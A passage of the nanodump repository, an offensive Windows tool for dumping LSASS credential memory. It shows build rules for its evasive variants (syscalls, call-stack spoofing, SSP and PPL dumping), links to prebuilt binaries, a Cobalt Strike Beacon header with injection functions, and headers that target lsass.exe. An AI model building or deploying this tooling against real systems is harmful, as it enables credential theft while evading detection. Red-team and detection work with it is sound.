$(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared -DDEBUG 98 | ./dist/bin2c dist/$(BOFNAME)_ssp.x86.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x86.h 99 | 100 | $(CC_x64) -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP -DDEBUG 101 | 102 | $(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP -DDEBUG 103 | 104 | $(CC_x86) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP -DDEBUG 105 | 106 | $(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x64.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared -DDEBUG 107 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x64.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x64.h 108 | 109 | $(CC_x86) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x86.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared -DDEBUG 110 | ./dist/bin2c dist/$(BOFNAME)_ppl_dump.x86.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x86.h 111 | 112 | $(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x64.exe $(OPTIONS) -DEXE -DPPL_DUMP -DDEBUG 113 | 114 | $(CC_x86) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x86.exe $(OPTIONS) -DEXE -DPPL_DUMP -DDEBUG 115 | 116 | $(CC_x64) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x64.o $(OPTIONS) -DBOF -DPPL_DUMP -DDEBUG 117 | 118 | $(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ppl_medic.x64.dll $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DNANO -DPPL_MEDIC -DDDL -shared -DDEBUG 119 | ./dist/bin2c dist/$(BOFNAME)_ppl_medic.x64.dll $(BOFNAME)_ppl_medic_dll > include/$(BOFNAME)_ppl_medic_dll.x64.h 120 | 121 | $(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c -o dist/$(BOFNAME)_ppl_medic.x64.exe $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DEXE -DPPL_MEDIC -DNANO -DDEBUG 122 | 123 | $(CC_x64) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_medic.x64.o $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DBOF -DPPL_MEDIC -DDEBUG 124 | 125 | $(GCC) source/restore_signature.c -o scripts/restore_signature -static -s -Os 126 | 127 | clean: 128 | rm -f dist/* 129 | -------------------------------------------------------------------------------- /Makefile.msvc: -------------------------------------------------------------------------------- 1 | 2 | OPTIONS = -Zp8 -c -nologo -Gy -GR- -EHa -Oi -GS- -I include 3 | LIBS = libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib 4 | PPL_MEDIC_OPTIONS = -DPASS_PARAMS_VIA_NAMED_PIPES=1 5 | SSP_OPTIONS = -DPASS_PARAMS_VIA_NAMED_PIPES=1 6 | 7 | nanodump: 8 | @echo ###### RELEASE ###### 9 | ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 10 | ML64 /c source/hw_breakpoint-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 11 | ML64 /c source/spoof_callstack-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 12 | 13 | cl.exe -DNANO -DEXE $(OPTIONS) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c 14 | link.exe /OUT:dist\nanodump.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj dinvoke.obj token_priv.obj handle.obj impersonate.obj malseclogon.obj werfault.obj modules.obj syscalls-asm.obj syscalls.obj 15 | 16 | # cl.exe -DNANO -DBOF /Fo:dist\nanodump.x64.o $(OPTIONS) source/entry.c 17 | 18 | cl.exe source/bin2c.c /Fe:dist\bin2c.exe 19 | 20 | cl.exe -DNANO -DSSP -DDDL $(OPTIONS) $(SSP_OPTIONS) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c 21 | link.exe -DLL /OUT:dist\nanodump_ssp.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj pipe.obj dinvoke.obj nanodump.obj token_priv.obj handle.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj 22 | .\dist\bin2c.exe dist\nanodump_ssp.x64.dll nanodump_ssp_dll > include\nanodump_ssp_dll.x64.h 23 | 24 | # cl.exe -DBOF -DSSP /Fo:dist\nanodump_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) source/ssp/ssp.c 25 | 26 | cl.exe -DEXE -DSSP $(OPTIONS) $(SSP_OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c 27 | link.exe /OUT:dist\nanodump_ssp.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib utils.obj dinvoke.obj pipe.obj ssp_utils.obj ssp.obj syscalls-asm.obj syscalls.obj 28 | 29 | cl.exe -DNANO -DPPL_DUMP -DDLL $(OPTIONS) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c 30 | link.exe -DLL /OUT:dist\nanodump_ppl_dump.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj output.obj cleanup.obj dinvoke.obj handle.obj impersonate.obj token_priv.obj 31 | .\dist\bin2c.exe dist\nanodump_ppl_dump.x64.dll nanodump_ppl_dump_dll > include\nanodump_ppl_dump_dll.x64.h 32 | 33 | cl.exe -DEXE -DPPL_DUMP $(OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c 34 | link.exe /OUT:dist\nanodump_ppl_dump.x64.exe utils.obj syscalls-asm.obj syscalls.obj dinvoke.obj token_priv.obj ppl_utils.obj impersonate.obj ppl.obj ppl_dump.obj 35 | 36 | # cl.exe -DBOF -DPPL_DUMP /Fo:dist\nanodump_ppl_dump.x64.o $(OPTIONS) source/ppl/ppl.c 37 | 38 | cl.exe -DNANO -DPPL_MEDIC -DDDL $(OPTIONS) $(PPL_MEDIC_OPTIONS) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c 39 | link.exe -DLL /OUT:dist\nanodump_ppl_medic.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj output.obj cleanup.obj utils.obj dinvoke.obj handle.obj impersonate.obj modules.obj syscalls-asm.obj syscalls.obj token_priv.obj nanodump.obj ppl_medic_dll.obj pipe.obj entry.obj 40 | .\dist\bin2c.exe dist\nanodump_ppl_medic.x64.dll nanodump_ppl_medic_dll > include\nanodump_ppl_medic_dll.x64.h 41 | 42 | cl.exe -DEXE -DPPL_MEDIC -DNANO $(OPTIONS) $(PPL_MEDIC_OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c 43 | link.exe /OUT:dist\nanodump_ppl_medic.x64.exe utils.obj syscalls-asm.obj syscalls.obj dinvoke.obj handle.obj token_priv.obj ppl_utils.obj impersonate.obj ppl.obj ppl_medic.obj pipe.obj ppl_medic_client.obj 44 | 45 | # cl.exe -DBOF -DPPL_MEDIC /Fo:dist\nanodump_ppl_medic.x64.o $(OPTIONS) source/ppl/ppl.c 46 | 47 | cl.exe source/restore_signature.c /Fe:scripts\restore_signature.exe 48 | 49 | debug: 50 | @echo ###### DEBUG ###### 51 | ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 52 | ML64 /c source/hw_breakpoint-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 53 | ML64 /c source/spoof_callstack-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 54 | 55 | cl.exe -DNANO -DEXE -DDEBUG $(OPTIONS) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c 56 | link.exe /OUT:dist\nanodump.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj dinvoke.obj token_priv.obj handle.obj impersonate.obj malseclogon.obj werfault.obj modules.obj syscalls-asm.obj syscalls.obj 57 | 58 | # cl.exe -DNANO -DBOF -DDEBUG /Fo:dist\nanodump.x64.o $(OPTIONS) source/entry.c 59 | 60 | cl.exe source/bin2c.c /Fe:dist\bin2c.exe 61 | 62 | cl.exe -DNANO -DSSP -DDDL -DDEBUG $(OPTIONS) $(SSP_OPTIONS) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c 63 | link.exe -DLL /OUT:dist\nanodump_ssp.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj pipe.obj dinvoke.obj nanodump.obj token_priv.obj handle.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj 64 | .\dist\bin2c.exe dist\nanodump_ssp.x64.dll nanodump_ssp_dll > include\nanodump_ssp_dll.x64.h 65 | 66 | # cl.exe -DBOF -DSSP -DDEBUG /Fo:dist\nanodump_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) source/ssp/ssp.c 67 | 68 | cl.exe -DEXE -DSSP -DDEBUG $(OPTIONS) $(SSP_OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c 69 | link.exe /OUT:dist\nanodump_ssp.x64.exe -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib utils.obj dinvoke.obj pipe.obj ssp_utils.obj ssp.obj syscalls-asm.obj syscalls.obj 70 | 71 | cl.exe -DNANO -DPPL_DUMP -DDLL -DDEBUG $(OPTIONS) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c 72 | link.exe -DLL /OUT:dist\nanodump_ppl_dump.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj output.obj cleanup.obj dinvoke.obj handle.obj impersonate.obj token_priv.obj 73 | .\dist\bin2c.exe dist\nanodump_ppl_dump.x64.dll nanodump_ppl_dump_dll > include\nanodump_ppl_dump_dll.x64.h 74 | 75 | cl.exe -DEXE -DPPL_DUMP -DDEBUG $(OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c 76 | link.exe /OUT:dist\nanodump_ppl_dump.x64.exe utils.obj syscalls-asm.obj syscalls.obj dinvoke.obj token_priv.obj ppl_utils.obj impersonate.obj ppl.obj ppl_dump.obj 77 | 78 | # cl.exe -DBOF -DPPL_DUMP -DDEBUG /Fo:dist\nanodump_ppl_dump.x64.o $(OPTIONS) source/ppl/ppl.c 79 | 80 | cl.exe -DNANO -DPPL_MEDIC -DDDL -DDEBUG $(OPTIONS) $(PPL_MEDIC_OPTIONS) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c 81 | link.exe -DLL /OUT:dist\nanodump_ppl_medic.x64.dll -nologo $(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj output.obj cleanup.obj utils.obj dinvoke.obj handle.obj impersonate.obj modules.obj syscalls-asm.obj syscalls.obj token_priv.obj nanodump.obj ppl_medic_dll.obj pipe.obj entry.obj 82 | .\dist\bin2c.exe dist\nanodump_ppl_medic.x64.dll nanodump_ppl_medic_dll > include\nanodump_ppl_medic_dll.x64.h 83 | 84 | cl.exe -DEXE -DPPL_MEDIC -DNANO -DDEBUG $(OPTIONS) $(PPL_MEDIC_OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c 85 | link.exe /OUT:dist\nanodump_ppl_medic.x64.exe utils.obj syscalls-asm.obj syscalls.obj dinvoke.obj handle.obj token_priv.obj ppl_utils.obj impersonate.obj ppl.obj ppl_medic.obj pipe.obj ppl_medic_client.obj 86 | 87 | # cl.exe -DBOF -DPPL_MEDIC -DDEBUG /Fo:dist\nanodump_ppl_medic.x64.o $(OPTIONS) source/ppl/ppl.c 88 | 89 | cl.exe source/restore_signature.c /Fe:scripts\restore_signature.exe 90 | 91 | clean: 92 | @del /Q token_priv.obj spoof_callstack.obj hw_breakpoint.obj hw_breakpoint-asm.obj spoof_callstack-asm.obj shtinkering.obj dinvoke.obj entry.obj handle.obj impersonate.obj load_ssp.obj malseclogon.obj werfault.obj modules.obj nanodump.obj syscalls-asm.obj syscalls.obj utils.obj dist\load_ssp.x64.exe dist\load_ssp.x64.o dist\nanodump.x64.exe dist\nanodump.x64.o dist\nanodump_ssp.x64.dll dist\nanodump_ssp.x64.exp dist\nanodump_ssp.x64.lib dist\nanodump_ppl.x64.lib dist\nanodump_ppl.x64.dll 93 | -------------------------------------------------------------------------------- /dist/bin2c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/bin2c -------------------------------------------------------------------------------- /dist/nanodump.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump.x64.exe -------------------------------------------------------------------------------- /dist/nanodump.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump.x64.o -------------------------------------------------------------------------------- /dist/nanodump.x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump.x86.exe -------------------------------------------------------------------------------- /dist/nanodump.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump.x86.o -------------------------------------------------------------------------------- /dist/nanodump_ppl_dump.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x64.dll -------------------------------------------------------------------------------- /dist/nanodump_ppl_dump.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x64.exe -------------------------------------------------------------------------------- /dist/nanodump_ppl_dump.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x64.o -------------------------------------------------------------------------------- /dist/nanodump_ppl_dump.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x86.dll -------------------------------------------------------------------------------- /dist/nanodump_ppl_dump.x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x86.exe -------------------------------------------------------------------------------- /dist/nanodump_ppl_dump.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x86.o -------------------------------------------------------------------------------- /dist/nanodump_ppl_medic.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_medic.x64.dll -------------------------------------------------------------------------------- /dist/nanodump_ppl_medic.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_medic.x64.exe -------------------------------------------------------------------------------- /dist/nanodump_ppl_medic.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_medic.x64.o -------------------------------------------------------------------------------- /dist/nanodump_ssp.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ssp.x64.dll -------------------------------------------------------------------------------- /dist/nanodump_ssp.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ssp.x64.exe -------------------------------------------------------------------------------- /dist/nanodump_ssp.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ssp.x64.o -------------------------------------------------------------------------------- /dist/nanodump_ssp.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ssp.x86.dll -------------------------------------------------------------------------------- /dist/nanodump_ssp.x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ssp.x86.exe -------------------------------------------------------------------------------- /dist/nanodump_ssp.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ssp.x86.o -------------------------------------------------------------------------------- /include/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | #pragma once 11 | 12 | /* data API */ 13 | typedef struct { 14 | char* original; /* the original buffer [so we can free it] */ 15 | char* buffer; /* current pointer into our buffer */ 16 | int length; /* remaining length of data */ 17 | int size; /* total size of this buffer */ 18 | } datap; 19 | 20 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 21 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 22 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 23 | DECLSPEC_IMPORT int BeaconDataLength(datap* parser); 24 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 25 | 26 | /* format API */ 27 | typedef struct { 28 | char* original; /* the original buffer [so we can free it] */ 29 | char* buffer; /* current pointer into our buffer */ 30 | int length; /* remaining length of data */ 31 | int size; /* total size of this buffer */ 32 | } formatp; 33 | 34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz); 35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp* format); 36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp* format); 37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len); 38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...); 39 | DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size); 40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value); 41 | 42 | /* Output Functions */ 43 | #define CALLBACK_OUTPUT 0x0 44 | #define CALLBACK_OUTPUT_OEM 0x1e 45 | #define CALLBACK_ERROR 0x0d 46 | #define CALLBACK_OUTPUT_UTF8 0x20 47 | 48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 49 | DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len); 50 | 51 | /* Token Functions */ 52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 53 | DECLSPEC_IMPORT void BeaconRevertToken(VOID); 54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(VOID); 55 | 56 | /* Spawn+Inject Functions */ 57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 61 | 62 | /* Utility Functions */ 63 | DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max); 64 | -------------------------------------------------------------------------------- /include/delete_file.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "utils.h" 4 | #include "syscalls.h" 5 | #include "nanodump.h" 6 | #include "beacon.h" 7 | 8 | VOID do_delete( 9 | IN LPSTR file_path); 10 | -------------------------------------------------------------------------------- /include/dinvoke.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "utils.h" 7 | 8 | #define LdrLoadDll_SW2_HASH 0xA301ECDA 9 | 10 | #define MZ 0x5A4D 11 | 12 | typedef NTSTATUS(WINAPI* LdrLoadDll_t)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); 13 | 14 | typedef struct _ND_LDR_DATA_TABLE_ENTRY 15 | { 16 | struct _LIST_ENTRY InLoadOrderLinks; 17 | struct _LIST_ENTRY InMemoryOrderLinks; 18 | struct _LIST_ENTRY InInitializationOrderLinks; 19 | PVOID DllBase; 20 | PVOID EntryPoint; 21 | ULONG SizeOfImage; 22 | UNICODE_STRING FullDllName; 23 | UNICODE_STRING BaseDllName; 24 | } ND_LDR_DATA_TABLE_ENTRY, *PND_LDR_DATA_TABLE_ENTRY; 25 | 26 | typedef struct _ND_PEB_LDR_DATA 27 | { 28 | ULONG Length; 29 | UCHAR Initialized; 30 | PVOID SsHandle; 31 | struct _LIST_ENTRY InLoadOrderModuleList; 32 | struct _LIST_ENTRY InMemoryOrderModuleList; 33 | struct _LIST_ENTRY InInitializationOrderModuleList; 34 | } ND_PEB_LDR_DATA, *PND_PEB_LDR_DATA; 35 | 36 | typedef struct _ND_PEB 37 | { 38 | BYTE Reserved1[2]; 39 | BYTE BeingDebugged; 40 | BYTE Reserved2[1]; 41 | PVOID Reserved3[2]; 42 | PND_PEB_LDR_DATA Ldr; 43 | } ND_PEB, *PND_PEB; 44 | 45 | PVOID find_dll_by_pointer( 46 | IN PVOID address); 47 | 48 | BOOL is_dll( 49 | IN HMODULE hLibrary); 50 | 51 | PVOID find_legacy_export( 52 | IN HMODULE hOriginalLibrary, 53 | IN DWORD fhash); 54 | 55 | PVOID resolve_reference( 56 | IN HMODULE hOriginalLibrary, 57 | IN PVOID addr); 58 | 59 | PVOID get_function_address( 60 | IN HMODULE hLibrary, 61 | IN DWORD fhash, 62 | IN WORD ordinal); 63 | 64 | HANDLE get_library_address( 65 | IN LPWSTR lib_path, 66 | IN BOOL DoLoad); 67 | 68 | -------------------------------------------------------------------------------- /include/entry.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if defined(NANO) && defined(PPL_DUMP) 4 | 5 | #include 6 | 7 | #define UNUSED(x) (void)(x) 8 | 9 | typedef LPWSTR*(WINAPI* CommandLineToArgvW_t) (LPCWSTR lpCmdLine, int *pNumArgs); 10 | typedef LPWSTR(WINAPI* GetCommandLineW_t) (VOID); 11 | 12 | #define CommandLineToArgvW_SW2_HASH 0xFF4DDE07 13 | #define GetCommandLineW_SW2_HASH 0x6507A19C 14 | 15 | // 16 | // SspiCli.dll 17 | // 18 | __declspec(dllexport) void APIENTRY LogonUserExExW(VOID); 19 | 20 | // 21 | // EventAggregation.dll 22 | // 23 | __declspec(dllexport) void APIENTRY BriCreateBrokeredEvent(VOID); 24 | __declspec(dllexport) void APIENTRY BriDeleteBrokeredEvent(VOID); 25 | __declspec(dllexport) void APIENTRY EaCreateAggregatedEvent(VOID); 26 | __declspec(dllexport) void APIENTRY EACreateAggregateEvent(VOID); 27 | __declspec(dllexport) void APIENTRY EaQueryAggregatedEventParameters(VOID); 28 | __declspec(dllexport) void APIENTRY EAQueryAggregateEventData(VOID); 29 | __declspec(dllexport) void APIENTRY EaFreeAggregatedEventParameters(VOID); 30 | __declspec(dllexport) void APIENTRY EaDeleteAggregatedEvent(VOID); 31 | __declspec(dllexport) void APIENTRY EADeleteAggregateEvent(VOID); 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /include/handle.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if (defined(NANO) || defined(PPL_MEDIC)) && !defined(SSP) 4 | 5 | #include 6 | #include 7 | 8 | #include "utils.h" 9 | #include "dinvoke.h" 10 | 11 | typedef DWORD(WINAPI* PssNtCaptureSnapshot_t) (PHANDLE SnapshotHandle, HANDLE ProcessHandle, DWORD CaptureFlags, DWORD ThreadContextFlags); 12 | typedef DWORD(WINAPI* PssNtQuerySnapshot_t) (HANDLE SnapshotHandle, DWORD InformationClass, PVOID Buffer, DWORD BufferLength); 13 | typedef DWORD(WINAPI* PssNtFreeSnapshot_t) (HANDLE SnapshotHandle); 14 | 15 | #define PssNtCaptureSnapshot_SW2_HASH 0xE54FFDDB 16 | #define PssNtQuerySnapshot_SW2_HASH 0x568E92DE 17 | #define PssNtFreeSnapshot_SW2_HASH 0x248F0BD4 18 | 19 | #define LSASS_EXE L"lsass.exe" 20 | #define PROCESS_HANDLE_TYPE L"Process" 21 | #define TOKEN_HANDLE_TYPE L"Token" 22 | #define DIRECTORY_HANDLE_TYPE L"Directory" 23 | 24 | #define MAX_PROCESSES 5000 25 | 26 | #define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) 27 | 28 | #ifndef ALIGN_UP_TYPE 29 | #define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) 